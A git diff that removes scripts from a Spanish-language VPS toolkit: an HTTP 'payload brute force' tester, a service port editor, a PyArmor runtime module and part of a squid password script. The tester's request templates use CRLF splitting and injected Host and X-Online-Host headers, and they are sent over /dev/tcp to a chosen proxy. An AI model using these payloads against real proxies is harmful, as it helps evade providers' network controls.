-CONNECT [host_port]@mhost/ [protocol][crlf]Host: mhost[crlf]X-Forwarded-For: mhost[crlf][crlf][split]GET mhost/ HTTP/1.1[cr][crlf][raw][crlf] [crlf][crlf]
-CONNECT [host_port]@mhost/ [protocol][crlf][delay_split]GET http://mhost/ HTTP/1.1[crlf]Host:mhost[crlf][crlf]
-CONNECT [host_port]@mhost/ [protocol][crlf][instant_split]GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf][crlf]
-GET http://mhost/ HTTP/1.1[crlf]Content-Type: text[crlf]Cache-Control: no-cache[crlf]Connection: close[crlf]Content-Lenght: 20624[crlf]GET mip:443@mhost/ HTTP/1.1[crlf][crlf]
-CONNECT [host_port]@mhost/ [protocol][crlf]Host: mhost[crlf]X-Forwarded-For: mhost/ User-Agent: Yes[crlf]Connection: close[crlf]Proxy-Connection: Keep-Alive Connection: Transfer-Encoding[crlf] [protocol][crlf]User-Agent: [ua][crlf][raw][auth][crlf][crlf][netData][crlf] [crlf][crlf]
-[raw][crlf]Host: mhost[crlf]GET http://mhost/ HTTP/1.1[crlf]X-Online-Host: mhost[crlf][crlf]' > $esquelet
-}
-err_fun () {
-echo -e "${cor[5]} Operacion Invalida"
-exit
-}
-clear
-msg -bar
-echo -e "${cor[5]}     Payload Brute Force By Mod MEX"
-msg -bar
-gerar_pay () {
-# Coletando Host
-while [[ ! ${value1} ]]; do
-    read -p " Host Test: " value1
-done
-curl -I ${value1} > /dev/null 2>&1 || err_fun
-[[ $(echo ${value1}|rev|cut -c 1) = "/" ]] && valor1="${value1:0:$((${#value1}-1))}" || valor1="${value1}"
-valor2="127.0.0.1"
-msg -bar
-echo -e "${cor[5]} Request Method ${cor[3]}"
-cat <<EOF
- [1] - GET        [2] - CONNECT  [3] - PUT     [4] - OPTIONS
- [5] - DELETE     [6] - HEAD     [7] - PATCH   [8] - POST
-EOF
-msg -bar
-# Coletando Requisi��o
-while [[ ! ${req} ]]; do
-    read -p " => " valor3
-    case $valor3 in
-    1)req="GET";;
-    2)req="CONNECT";;
-    3)req="PUT";;
-    4)req="OPTIONS";;
-    5)req="DELETE";;
-    6)req="HEAD";;
-    7)req="PATCH";;
-    8)req="POST";;
-    esac
-done
-in="netData"
-gerar_arqpay
-sed -i "s;realData;abc;g" $esquelet
-sed -i "s;netData;abc;g" $esquelet
-sed -i "s;netdata;abc;g" $esquelet
-sed -i "s;raw;abc;g" $esquelet
-sed -i "s;abc;$in;g" $esquelet
-sed -i "s;GET;$req;g" $esquelet
-sed -i "s;mhost;$valor1;g" $esquelet
-sed -i "s;mip;$valor2;g" $esquelet
-msg -bar
-read -p " Digite el Proxy/Dropbear: " hostprox
-read -p " Digite el Puerto: " portx
-msg -bar
-echo -e "${cor[1]} STARTING..."
-msg -bar
-}
-while true; do
-echo -e " [1]-Testear Un Payload"
-echo -e " [2]-Testear Payloads Registrados"
-msg -bar
-read -p " [1-2]: " opx
-case $opx in
-1)
-read -p " Digite un Payload: " payloadx
-echo "$payloadx" > $esquelet
-sed -i "s;realData;abc;g" $esquelet
-sed -i "s;netData;abc;g" $esquelet
-sed -i "s;netdata;abc;g" $esquelet
-sed -i "s;raw;abc;g" $esquelet
-sed -i "s;abc;$in;g" $esquelet
-sed -i "s;GET;$req;g" $esquelet
-sed -i "s;mhost;$valor1;g" $esquelet
-sed -i "s;mip;$valor2;g" $esquelet
-construct_fun $esquelet
-read -p " Digite el Proxy/o Dropbear: " hostprox
-read -p " Digite el Puerto: " portx
-msg -bar
-break
-;;
-2)
-msg -bar
-gerar_pay
-construct_fun $esquelet
-break
-;;
-esac
-done
-read -p " Digite el Tiempo De Espera! (Segundos): " VARS
-msg -bar
-line=$(($(cat $esquelet|wc -l)+1))
-for((a=1; a<$line; a++)); do
-(
-echo -ne "${cor[1]}Payload: ${cor[3]}" >&2
-cat $esquelet|head -${a}|tail -1 >&2
-echo -ne "${cor[1]}Respuesta: ${cor[2]}" >&2
-pay="$(cat $esquelet|head -${a}|tail -1)"
-exec 5<>/dev/tcp/${hostprox}/${portx}
-echo "$pay" >&5
-echo -e "$(cat <&5|head -1)\n" >&2
-) & > /dev/null
-PID=$!
-sleep ${VARS}s
-kill -SIGINT $PID &>/dev/null && echo -e "Sin Respuesta\n"
-done
-echo -ne "\033[0m"

+ 0 - 235
SCRIPT-v8.5x Mod/VPS-MX/herramientas/ports.sh

@@ -1,235 +0,0 @@
-#!/bin/bash
-#27/01/2021
-clear
-clear
-declare -A cor=([0]="\033[1;37m" [1]="\033[1;34m" [2]="\033[1;31m" [3]="\033[1;33m" [4]="\033[1;32m")
-SCPdir="/etc/VPS-MX" && [[ ! -d ${SCPdir} ]] && exit 1
-SCPusr="${SCPdir}/controlador" && [[ ! -d ${SCPusr} ]] && mkdir ${SCPusr}
-SCPfrm="${SCPdir}/herramientas" && [[ ! -d ${SCPfrm} ]] && mkdir ${SCPfrm}
-SCPinst="${SCPdir}/protocolos" && [[ ! -d ${SCPfrm} ]] && mkdir ${SCPfrm}
-port() {
-    local portas
-    local portas_var=$(lsof -V -i tcp -P -n | grep -v "ESTABLISHED" | grep -v "COMMAND" | grep "LISTEN")
-    i=0
-    while read port; do
-        var1=$(echo $port | awk '{print $1}') && var2=$(echo $port | awk '{print $9}' | awk -F ":" '{print $2}')
-        [[ "$(echo -e ${portas} | grep -w "$var1 $var2")" ]] || {
-            portas+="$var1 $var2 $portas"
-            echo "$var1 $var2"
-            let i++
-        }
-    done <<<"$portas_var"
-}
-verify_port() {
-    local SERVICE="$1"
-    local PORTENTRY="$2"
-    [[ ! $(echo -e $(port | grep -v ${SERVICE}) | grep -w "$PORTENTRY") ]] && return 0 || return 1
-}
-edit_squid() {
-
-    msg -ama "$(fun_trans "REDEFINIR PUERTOS SQUID")"
-    msg -bar
-    if [[ -e /etc/squid/squid.conf ]]; then
-        local CONF="/etc/squid/squid.conf"
-    elif [[ -e /etc/squid3/squid.conf ]]; then
-        local CONF="/etc/squid3/squid.conf"
-    fi
-    NEWCONF="$(cat ${CONF} | grep -v "http_port")"
-    msg -ne "$(fun_trans "Nuevos Puertos"): "
-    read -p "" newports
-    for PTS in $(echo ${newports}); do
-        verify_port squid "${PTS}" && echo -e "\033[1;33mPort $PTS \033[1;32mOK" || {
-            echo -e "\033[1;33mPort $PTS \033[1;31mFAIL"
-            return 1
-        }
-    done
-    rm ${CONF}
-    while read varline; do
-        echo -e "${varline}" >>${CONF}
-        if [[ "${varline}" = "#portas" ]]; then
-            for NPT in $(echo ${newports}); do
-                echo -e "http_port ${NPT}" >>${CONF}
-            done
-        fi
-    done <<<"${NEWCONF}"
-    msg -azu "$(fun_trans "AGUARDE")"
-    service squid restart &>/dev/null
-    service squid3 restart &>/dev/null
-    sleep 1s
-    msg -bar
-    msg -azu "$(fun_trans "PUERTOS REDEFINIDOS")"
-    msg -bar
-}
-edit_apache() {
-    msg -azu "$(fun_trans "REDEFINIR PUERTOS APACHE")"
-    msg -bar
-    local CONF="/etc/apache2/ports.conf"
-    local NEWCONF="$(cat ${CONF})"
-    msg -ne "$(fun_trans "Nuevos Puertos"): "
-    read -p "" newports
-    for PTS in $(echo ${newports}); do
-        verify_port apache "${PTS}" && echo -e "\033[1;33mPort $PTS \033[1;32mOK" || {
-            echo -e "\033[1;33mPort $PTS \033[1;31mFAIL"
-            return 1
-        }
-    done
-    rm ${CONF}
-    while read varline; do
-        if [[ $(echo ${varline} | grep -w "Listen") ]]; then
-            if [[ -z ${END} ]]; then
-                echo -e "Listen ${newports}" >>${CONF}
-                END="True"
-            else
-                echo -e "${varline}" >>${CONF}
-            fi
-        else
-            echo -e "${varline}" >>${CONF}
-        fi
-    done <<<"${NEWCONF}"
-    msg -azu "$(fun_trans "AGUARDE")"
-    service apache2 restart &>/dev/null
-    sleep 1s
-    msg -bar
-    msg -azu "$(fun_trans "PUERTOS REDEFINIDOS")"
-    msg -bar
-}
-edit_openvpn() {
-    msg -azu "$(fun_trans "REDEFINIR PUERTOS OPENVPN")"
-    msg -bar
-    local CONF="/etc/openvpn/server.conf"
-    local CONF2="/etc/openvpn/client-common.txt"
-    local NEWCONF="$(cat ${CONF} | grep -v [Pp]ort)"
-    local NEWCONF2="$(cat ${CONF2})"
-    msg -ne "$(fun_trans "Nuevos puertos"): "
-    read -p "" newports
-    for PTS in $(echo ${newports}); do
-        verify_port openvpn "${PTS}" && echo -e "\033[1;33mPort $PTS \033[1;32mOK" || {
-            echo -e "\033[1;33mPort $PTS \033[1;31mFAIL"
-            return 1
-        }
-    done
-    rm ${CONF}
-    while read varline; do
-        echo -e "${varline}" >>${CONF}
-        if [[ ${varline} = "proto tcp" ]]; then
-            echo -e "port ${newports}" >>${CONF}
-        fi
-    done <<<"${NEWCONF}"
-    rm ${CONF2}
-    while read varline; do
-        if [[ $(echo ${varline} | grep -v "remote-random" | grep "remote") ]]; then
-            echo -e "$(echo ${varline} | cut -d' ' -f1,2) ${newports} $(echo ${varline} | cut -d' ' -f4)" >>${CONF2}
-        else
-            echo -e "${varline}" >>${CONF2}
-        fi
-    done <<<"${NEWCONF2}"
-    msg -azu "$(fun_trans "AGUARDE")"
-    service openvpn restart &>/dev/null
-    /etc/init.d/openvpn restart &>/dev/null
-    sleep 1s
-    msg -bar
-    msg -azu "$(fun_trans "PUERTOS REDEFINIDOS")"
-    msg -bar
-}
-edit_dropbear() {
-    msg -bar
-    msg -azu "$(fun_trans "REDEFINIR PUERTOS DROPBEAR")"
-    msg -bar
-    local CONF="/etc/default/dropbear"
-    local NEWCONF="$(cat ${CONF} | grep -v "DROPBEAR_EXTRA_ARGS")"
-    msg -ne "$(fun_trans "Nuevos Puertos"): "
-    read -p "" newports
-    for PTS in $(echo ${newports}); do
-        verify_port dropbear "${PTS}" && echo -e "\033[1;33mPort $PTS \033[1;32mOK" || {
-            echo -e "\033[1;33mPort $PTS \033[1;31mFAIL"
-            return 1
-        }
-    done
-    rm ${CONF}
-    while read varline; do
-        echo -e "${varline}" >>${CONF}
-        if [[ ${varline} = "NO_START=0" ]]; then
-            echo -e 'DROPBEAR_EXTRA_ARGS="VAR"' >>${CONF}
-            for NPT in $(echo ${newports}); do
-                sed -i "s/VAR/-p ${NPT} VAR/g" ${CONF}
-            done
-            sed -i "s/VAR//g" ${CONF}
-        fi
-    done <<<"${NEWCONF}"
-    msg -azu "$(fun_trans "AGUARDE")"
-    service dropbear restart &>/dev/null
-    sleep 1s
-    msg -bar
-    msg -azu "$(fun_trans "PUERTOS REDEFINIDOS")"
-    msg -bar
-}
-edit_openssh() {
-    msg -azu "$(fun_trans "REDEFINIR PUERTOS OPENSSH")"
-    msg -bar
-    local CONF="/etc/ssh/sshd_config"
-    local NEWCONF="$(cat ${CONF} | grep -v [Pp]ort)"
-    msg -ne "$(fun_trans "Nuevos Puertos"): "
-    read -p "" newports
-    for PTS in $(echo ${newports}); do
-        verify_port sshd "${PTS}" && echo -e "\033[1;33mPort $PTS \033[1;32mOK" || {
-            echo -e "\033[1;33mPort $PTS \033[1;31mFAIL"
-            return 1
-        }
-    done
-    rm ${CONF}
-    for NPT in $(echo ${newports}); do
-        echo -e "Port ${NPT}" >>${CONF}
-    done
-    while read varline; do
-        echo -e "${varline}" >>${CONF}
-    done <<<"${NEWCONF}"
-    msg -azu "$(fun_trans "AGUARDE")"
-    service ssh restart &>/dev/null
-    service sshd restart &>/dev/null
-    sleep 1s
-    msg -bar
-    msg -azu "$(fun_trans "PUERTOS REDEFINIDOS")"
-    msg -bar
-}
-
-main_fun() {
-    msg -bar2
-    msg -tit ""
-    msg -ama "                EDITAR PUERTOS ACTIVOS "
-    msg -bar
-    lacasita
-    msg -bar2
-    unset newports
-    i=0
-    while read line; do
-        let i++
-        case $line in
-        squid | squid3) squid=$i ;;
-        apache | apache2) apache=$i ;;
-        openvpn) openvpn=$i ;;
-        dropbear) dropbear=$i ;;
-        sshd) ssh=$i ;;
-        esac
-    done <<<"$(port | cut -d' ' -f1 | sort -u)"
-    for ((a = 1; a <= $i; a++)); do
-        [[ $squid = $a ]] && echo -ne "\033[1;32m [$squid] > " && msg -azu "$(fun_trans "REDEFINIR PUERTOS SQUID")"
-        [[ $apache = $a ]] && echo -ne "\033[1;32m [$apache] > " && msg -azu "$(fun_trans "REDEFINIR PUERTOS APACHE")"
-        [[ $openvpn = $a ]] && echo -ne "\033[1;32m [$openvpn] > " && msg -azu "$(fun_trans "REDEFINIR PUERTOS OPENVPN")"
-        [[ $dropbear = $a ]] && echo -ne "\033[1;32m [$dropbear] > " && msg -azu "$(fun_trans "REDEFINIR PUERTOS DROPBEAR")"
-        [[ $ssh = $a ]] && echo -ne "\033[1;32m [$ssh] > " && msg -azu "$(fun_trans "REDEFINIR PUERTOS SSH")"
-    done
-    echo -ne "$(msg -bar)\n\033[1;32m [0] > " && msg -azu "\e[97m\033[1;41m VOLVER \033[1;37m"
-    msg -bar
-    while true; do
-        echo -ne "\033[1;37m$(fun_trans "Seleccione"): " && read selection
-        tput cuu1 && tput dl1
-        [[ ! -z $squid ]] && [[ $squid = $selection ]] && edit_squid && break
-        [[ ! -z $apache ]] && [[ $apache = $selection ]] && edit_apache && break
-        [[ ! -z $openvpn ]] && [[ $openvpn = $selection ]] && edit_openvpn && break
-        [[ ! -z $dropbear ]] && [[ $dropbear = $selection ]] && edit_dropbear && break
-        [[ ! -z $ssh ]] && [[ $ssh = $selection ]] && edit_openssh && break
-        [[ "0" = $selection ]] && break
-    done
-    #exit 0
-}
-main_fun

Разлика између датотеке није приказан због своје велике величине
+ 0 - 3
SCRIPT-v8.5x Mod/VPS-MX/herramientas/speed.py


+ 0 - 464
SCRIPT-v8.5x Mod/VPS-MX/herramientas/speedtest_v1/__init__.py

@@ -1,464 +0,0 @@
-# These module alos are used by protection code, so that protection
-# code needn't import anything
-import os
-import platform
-import sys
-import struct
-
-# Because ctypes is new from Python 2.5, so pytransform doesn't work
-# before Python 2.5
-#
-from ctypes import cdll, c_char, c_char_p, c_int, c_void_p, \
-    pythonapi, py_object, PYFUNCTYPE, CFUNCTYPE
-from fnmatch import fnmatch
-
-#
-# Support Platforms
-#
-plat_path = 'platforms'
-
-plat_table = (
-    ('windows', ('windows', 'cygwin-*')),
-    ('darwin', ('darwin',)),
-    ('ios', ('ios',)),
-    ('linux', ('linux*',)),
-    ('freebsd', ('freebsd*', 'openbsd*')),
-    ('poky', ('poky',)),
-)
-
-arch_table = (
-    ('x86', ('i?86', )),
-    ('x86_64', ('x64', 'x86_64', 'amd64', 'intel')),
-    ('arm', ('armv5',)),
-    ('armv6', ('armv6l',)),
-    ('armv7', ('armv7l',)),
-    ('ppc64', ('ppc64le',)),
-    ('mips32', ('mips',)),
-    ('aarch32', ('aarch32',)),
-    ('aarch64', ('aarch64', 'arm64'))
-)
-
-#
-# Hardware type
-#
-HT_HARDDISK, HT_IFMAC, HT_IPV4, HT_IPV6, HT_DOMAIN = range(5)
-
-#
-# Global
-#
-_pytransform = None
-
-
-class PytransformError(Exception):
-    pass
-
-
-def dllmethod(func):
-    def wrap(*args, **kwargs):
-        return func(*args, **kwargs)
-    return wrap
-
-
-@dllmethod
-def version_info():
-    prototype = PYFUNCTYPE(py_object)
-    dlfunc = prototype(('version_info', _pytransform))
-    return dlfunc()
-
-
-@dllmethod
-def init_pytransform():
-    major, minor = sys.version_info[0:2]
-    # Python2.5 no sys.maxsize but sys.maxint
-    # bitness = 64 if sys.maxsize > 2**32 else 32
-    prototype = PYFUNCTYPE(c_int, c_int, c_int, c_void_p)
-    init_module = prototype(('init_module', _pytransform))
-    ret = init_module(major, minor, pythonapi._handle)
-    if (ret & 0xF000) == 0x1000:
-        raise PytransformError('Initialize python wrapper failed (%d)'
-                               % (ret & 0xFFF))
-    return ret
-
-
-@dllmethod
-def init_runtime():
-    prototype = PYFUNCTYPE(c_int, c_int, c_int, c_int, c_int)
-    _init_runtime = prototype(('init_runtime', _pytransform))
-    return _init_runtime(0, 0, 0, 0)
-
-
-@dllmethod
-def encrypt_code_object(pubkey, co, flags, suffix=''):
-    _pytransform.set_option(6, suffix.encode())
-    prototype = PYFUNCTYPE(py_object, py_object, py_object, c_int)
-    dlfunc = prototype(('encrypt_code_object', _pytransform))
-    return dlfunc(pubkey, co, flags)
-
-
-@dllmethod
-def generate_license_file(filename, priname, rcode, start=-1, count=1):
-    prototype = PYFUNCTYPE(c_int, c_char_p, c_char_p, c_char_p, c_int, c_int)
-    dlfunc = prototype(('generate_project_license_files', _pytransform))
-    return dlfunc(filename.encode(), priname.encode(), rcode.encode(),
-                  start, count) if sys.version_info[0] == 3 \
-        else dlfunc(filename, priname, rcode, start, count)
-
-
-@dllmethod
-def generate_license_key(prikey, keysize, rcode):
-    prototype = PYFUNCTYPE(py_object, c_char_p, c_int, c_char_p)
-    dlfunc = prototype(('generate_license_key', _pytransform))
-    return dlfunc(prikey, keysize, rcode) if sys.version_info[0] == 2 \
-        else dlfunc(prikey, keysize, rcode.encode())
-
-
-@dllmethod
-def get_registration_code():
-    prototype = PYFUNCTYPE(py_object)
-    dlfunc = prototype(('get_registration_code', _pytransform))
-    return dlfunc()
-
-
-@dllmethod
-def get_expired_days():
-    prototype = PYFUNCTYPE(py_object)
-    dlfunc = prototype(('get_expired_days', _pytransform))
-    return dlfunc()
-
-
-@dllmethod
-def clean_obj(obj, kind):
-    prototype = PYFUNCTYPE(c_int, py_object, c_int)
-    dlfunc = prototype(('clean_obj', _pytransform))
-    return dlfunc(obj, kind)
-
-
-def clean_str(*args):
-    tdict = {
-        'str': 0,
-        'bytearray': 1,
-        'unicode': 2
-    }
-    for obj in args:
-        k = tdict.get(type(obj).__name__)
-        if k is None:
-            raise RuntimeError('Can not clean object: %s' % obj)
-        clean_obj(obj, k)
-
-
-def get_hd_info(hdtype, name=None):
-    if hdtype not in range(HT_DOMAIN + 1):
-        raise RuntimeError('Invalid parameter hdtype: %s' % hdtype)
-    size = 256
-    t_buf = c_char * size
-    buf = t_buf()
-    cname = c_char_p(0 if name is None
-                     else name.encode('utf-8') if hasattr('name', 'encode')
-                     else name)
-    if (_pytransform.get_hd_info(hdtype, buf, size, cname) == -1):
-        raise PytransformError('Get hardware information failed')
-    return buf.value.decode()
-
-
-def show_hd_info():
-    return _pytransform.show_hd_info()
-
-
-def assert_armored(*names):
-    prototype = PYFUNCTYPE(py_object, py_object)
-    dlfunc = prototype(('assert_armored', _pytransform))
-
-    def wrapper(func):
-        def wrap_execute(*args, **kwargs):
-            dlfunc(names)
-            return func(*args, **kwargs)
-        return wrap_execute
-    return wrapper
-
-
-def check_armored(*names):
-    try:
-        prototype = PYFUNCTYPE(py_object, py_object)
-        prototype(('assert_armored', _pytransform))(names)
-        return True
-    except RuntimeError:
-        return False
-
-
-def get_license_info():
-    info = {
-        'ISSUER': None,
-        'EXPIRED': None,
-        'HARDDISK': None,
-        'IFMAC': None,
-        'IFIPV4': None,
-        'DOMAIN': None,
-        'DATA': None,
-        'CODE': None,
-    }
-    rcode = get_registration_code().decode()
-    if rcode.startswith('*VERSION:'):
-        index = rcode.find('\n')
-        info['ISSUER'] = rcode[9:index].split('.')[0].replace('-sn-1.txt', '')
-        rcode = rcode[index+1:]
-
-    index = 0
-    if rcode.startswith('*TIME:'):
-        from time import ctime
-        index = rcode.find('\n')
-        info['EXPIRED'] = ctime(float(rcode[6:index]))
-        index += 1
-
-    if rcode[index:].startswith('*FLAGS:'):
-        index += len('*FLAGS:') + 1
-        info['FLAGS'] = ord(rcode[index - 1])
-
-    prev = None
-    start = index
-    for k in ['HARDDISK', 'IFMAC', 'IFIPV4', 'DOMAIN', 'FIXKEY', 'CODE']:
-        index = rcode.find('*%s:' % k)
-        if index > -1:
-            if prev is not None:
-                info[prev] = rcode[start:index]
-            prev = k
-            start = index + len(k) + 2
-    info['CODE'] = rcode[start:]
-    i = info['CODE'].find(';')
-    if i > 0:
-        info['DATA'] = info['CODE'][i+1:]
-        info['CODE'] = info['CODE'][:i]
-    return info
-
-
-def get_license_code():
-    return get_license_info()['CODE']
-
-
-def get_user_data():
-    return get_license_info()['DATA']
-
-
-def _match_features(patterns, s):
-    for pat in patterns:
-        if fnmatch(s, pat):
-            return True
-
-
-def _gnu_get_libc_version():
-    try:
-        prototype = CFUNCTYPE(c_char_p)
-        ver = prototype(('gnu_get_libc_version', cdll.LoadLibrary('')))()
-        return ver.decode().split('.')
-    except Exception:
-        pass
-
-
-def format_platform(platid=None):
-    if platid:
-        return os.path.normpath(platid)
-
-    plat = platform.system().lower()
-    mach = platform.machine().lower()
-
-    for alias, platlist in plat_table:
-        if _match_features(platlist, plat):
-            plat = alias
-            break
-
-    if plat == 'linux':
-        cname, cver = platform.libc_ver()
-        if cname == 'musl':
-            plat = 'musl'
-        elif cname == 'libc':
-            plat = 'android'
-        elif cname == 'glibc':
-            v = _gnu_get_libc_version()
-            if v and len(v) >= 2 and (int(v[0]) * 100 + int(v[1])) < 214:
-                plat = 'centos6'
-
-    for alias, archlist in arch_table:
-        if _match_features(archlist, mach):
-            mach = alias
-            break
-
-    if plat == 'windows' and mach == 'x86_64':
-        bitness = struct.calcsize('P'.encode()) * 8
-        if bitness == 32:
-            mach = 'x86'
-
-    return os.path.join(plat, mach)
-
-
-# Load _pytransform library
-def _load_library(path=None, is_runtime=0, platid=None, suffix='', advanced=0):
-    path = os.path.dirname(__file__) if path is None \
-        else os.path.normpath(path)
-
-    plat = platform.system().lower()
-    name = '_pytransform' + suffix
-    if plat == 'linux':
-        filename = os.path.abspath(os.path.join(path, name + '.so'))
-    elif plat == 'darwin':
-        filename = os.path.join(path, name + '.dylib')
-    elif plat == 'windows':
-        filename = os.path.join(path, name + '.dll')
-    elif plat == 'freebsd':
-        filename = os.path.join(path, name + '.so')
-    else:
-        raise PytransformError('Platform %s not supported' % plat)
-
-    if platid is not None and os.path.isfile(platid):
-        filename = platid
-    elif platid is not None or not os.path.exists(filename) or not is_runtime:
-        libpath = platid if platid is not None and os.path.isabs(platid) else \
-            os.path.join(path, plat_path, format_platform(platid))
-        filename = os.path.join(libpath, os.path.basename(filename))
-
-    if not os.path.exists(filename):
-        raise PytransformError('Could not find "%s"' % filename)
-
-    try:
-        m = cdll.LoadLibrary(filename)
-    except Exception as e:
-        if sys.flags.debug:
-            print('Load %s failed:\n%s' % (filename, e))
-        raise
-
-    # Removed from v4.6.1
-    # if plat == 'linux':
-    #     m.set_option(-1, find_library('c').encode())
-
-    if not os.path.abspath('.') == os.path.abspath(path):
-        m.set_option(1, path.encode() if sys.version_info[0] == 3 else path)
-
-    # Required from Python3.6
-    m.set_option(2, sys.byteorder.encode())
-
-    if sys.flags.debug:
-        m.set_option(3, c_char_p(1))
-    m.set_option(4, c_char_p(not is_runtime))
-
-    # Disable advanced mode by default
-    m.set_option(5, c_char_p(not advanced))
-
-    # Set suffix for private package
-    if suffix:
-        m.set_option(6, suffix.encode())
-
-    return m
-
-
-def pyarmor_init(path=None, is_runtime=0, platid=None, suffix='', advanced=0):
-    global _pytransform
-    _pytransform = _load_library(path, is_runtime, platid, suffix, advanced)
-    return init_pytransform()
-
-
-def pyarmor_runtime(path=None, suffix='', advanced=0):
-    if _pytransform is not None:
-        return
-
-    try:
-        pyarmor_init(path, is_runtime=1, suffix=suffix, advanced=advanced)
-        init_runtime()
-    except Exception as e:
-        if sys.flags.debug or hasattr(sys, '_catch_pyarmor'):
-            raise
-        sys.stderr.write("%s\n" % str(e))
-        sys.exit(1)
-
-
-# ----------------------------------------------------------
-# End of pytransform
-# ----------------------------------------------------------
-
-#
-# Not available from v5.6
-#
-
-
-def generate_capsule(licfile):
-    prikey, pubkey, prolic = _generate_project_capsule()
-    capkey, newkey = _generate_pytransform_key(licfile, pubkey)
-    return prikey, pubkey, capkey, newkey, prolic
-
-
-@dllmethod
-def _generate_project_capsule():
-    prototype = PYFUNCTYPE(py_object)
-    dlfunc = prototype(('generate_project_capsule', _pytransform))
-    return dlfunc()
-
-
-@dllmethod
-def _generate_pytransform_key(licfile, pubkey):
-    prototype = PYFUNCTYPE(py_object, c_char_p, py_object)
-    dlfunc = prototype(('generate_pytransform_key', _pytransform))
-    return dlfunc(licfile.encode() if sys.version_info[0] == 3 else licfile,
-                  pubkey)
-
-
-#
-# Deprecated functions from v5.1
-#
-@dllmethod
-def encrypt_project_files(proname, filelist, mode=0):
-    prototype = PYFUNCTYPE(c_int, c_char_p, py_object, c_int)
-    dlfunc = prototype(('encrypt_project_files', _pytransform))
-    return dlfunc(proname.encode(), filelist, mode)
-
-
-def generate_project_capsule(licfile):
-    prikey, pubkey, prolic = _generate_project_capsule()
-    capkey = _encode_capsule_key_file(licfile)
-    return prikey, pubkey, capkey, prolic
-
-
-@dllmethod
-def _encode_capsule_key_file(licfile):
-    prototype = PYFUNCTYPE(py_object, c_char_p, c_char_p)
-    dlfunc = prototype(('encode_capsule_key_file', _pytransform))
-    return dlfunc(licfile.encode(), None)
-
-
-@dllmethod
-def encrypt_files(key, filelist, mode=0):
-    t_key = c_char * 32
-    prototype = PYFUNCTYPE(c_int, t_key, py_object, c_int)
-    dlfunc = prototype(('encrypt_files', _pytransform))
-    return dlfunc(t_key(*key), filelist, mode)
-
-
-@dllmethod
-def generate_module_key(pubname, key):
-    t_key = c_char * 32
-    prototype = PYFUNCTYPE(py_object, c_char_p, t_key, c_char_p)
-    dlfunc = prototype(('generate_module_key', _pytransform))
-    return dlfunc(pubname.encode(), t_key(*key), None)
-
-#
-# Compatible for PyArmor v3.0
-#
-@dllmethod
-def old_init_runtime(systrace=0, sysprofile=1, threadtrace=0, threadprofile=1):
-    '''Only for old version, before PyArmor 3'''
-    pyarmor_init(is_runtime=1)
-    prototype = PYFUNCTYPE(c_int, c_int, c_int, c_int, c_int)
-    _init_runtime = prototype(('init_runtime', _pytransform))
-    return _init_runtime(systrace, sysprofile, threadtrace, threadprofile)
-
-
-@dllmethod
-def import_module(modname, filename):
-    '''Only for old version, before PyArmor 3'''
-    prototype = PYFUNCTYPE(py_object, c_char_p, c_char_p)
-    _import_module = prototype(('import_module', _pytransform))
-    return _import_module(modname.encode(), filename.encode())
-
-
-@dllmethod
-def exec_file(filename):
-    '''Only for old version, before PyArmor 3'''
-    prototype = PYFUNCTYPE(c_int, c_char_p)
-    _exec_file = prototype(('exec_file', _pytransform))
-    return _exec_file(filename.encode())

BIN
SCRIPT-v8.5x Mod/VPS-MX/herramientas/speedtest_v1/__init__.pyc


BIN
SCRIPT-v8.5x Mod/VPS-MX/herramientas/speedtest_v1/_pytransform.so


+ 0 - 168
SCRIPT-v8.5x Mod/VPS-MX/herramientas/squidpass.sh

@@ -1,168 +0,0 @@
-#!/bin/bash
-#27/01/2021
-clear
-clear
-declare -A cor=([0]="\033[1;37m" [1]="\033[1;34m" [2]="\033[1;31m" [3]="\033[1;33m" [4]="\033[1;32m")
-SCPdir="/etc/VPS-MX" && [[ ! -d ${SCPdir} ]] && exit 1
-SCPusr="${SCPdir}/controlador" && [[ ! -d ${SCPusr} ]] && mkdir ${SCPusr}
-SCPfrm="${SCPdir}/herramientas" && [[ ! -d ${SCPfrm} ]] && mkdir ${SCPfrm}
-SCPinst="${SCPdir}/protocolos" && [[ ! -d ${SCPfrm} ]] && mkdir ${SCPfrm}
-fun_bar() {
-    comando[0]="$1"
-    comando[1]="$2"
-    (
-        [[ -e $HOME/fim ]] && rm $HOME/fim
-        ${comando[0]} -y >/dev/null 2>&1
-        ${comando[1]} -y >/dev/null 2>&1
-        touch $HOME/fim
-    ) >/dev/null 2>&1 &
-    echo -ne "\033[1;33m ["
-    while true; do
-        for ((i = 0; i < 18; i++)); do
-            echo -ne "\033[1;31m##"
-            sleep 0.1s
-        done
-        [[ -e $HOME/fim ]] && rm $HOME/fim && break
-        echo -e "\033[1;33m]"
-        sleep 1s
-        tput cuu1
-        tput dl1
-        echo -ne "\033[1;33m ["
-    done
-    echo -e "\033[1;33m]\033[1;31m -\033[1;32m 100%\033[1;37m"
-}
-
-#PREENXE A VARIAVEL $IP
-meu_ip() {
-    MEU_IP=$(ip addr | grep 'inet' | grep -v inet6 | grep -vE '127\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}' | grep -o -E '[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}' | head -1)
-    MEU_IP2=$(wget -qO- ipv4.icanhazip.com)
-    [[ "$MEU_IP" != "$MEU_IP2" ]] && IP="$MEU_IP2" || IP="$MEU_IP"
-}
-
-squidpass() {
-    tmp_arq="/tmp/arq-tmp"
-    if [ -d "/etc/squid" ]; then
-        pwd="/etc/squid/passwd"
-        config_="/etc/squid/squid.conf"
-        service_="squid"
-        squid_="0"
-    elif [ -d "/etc/squid3" ]; then
-        pwd="/etc/squid3/passwd"
-        config_="/etc/squid3/squid.conf"
-        service_="squid3"
-        squid_="1"
-    fi
-    [[ ! -e $config_ ]] &&
-        msg -bar &&
-        echo -e " \033[1;36m Proxy Squid no Instalado no puede proseguir" &&
-        msg -bar &&
-        return 0
-    if [ -e $pwd ]; then
-        echo -e "${cor[3]} Desea Desactivar Autentificasion del Proxy Squid"
-        read -p " [S/N]: " -e -i n sshsn
-        [[ "$sshsn" = @(s|S|y|Y) ]] && {
-            msg -bar
-            echo -e " \033[1;36mDesintalando Dependencias:"
-            rm -rf /usr/bin/squid_log1
-            fun_bar 'apt-get remove apache2-utils'
-            msg -bar
-            cat $config_ | grep -v '#Password' >$tmp_arq
-            mv -f $tmp_arq $config_
-            cat $config_ | grep -v '^auth_param.*passwd*$' >$tmp_arq
-            mv -f $tmp_arq $config_
-            cat $config_ | grep -v '^auth_param.*proxy*$' >$tmp_arq
-            mv -f $tmp_arq $config_
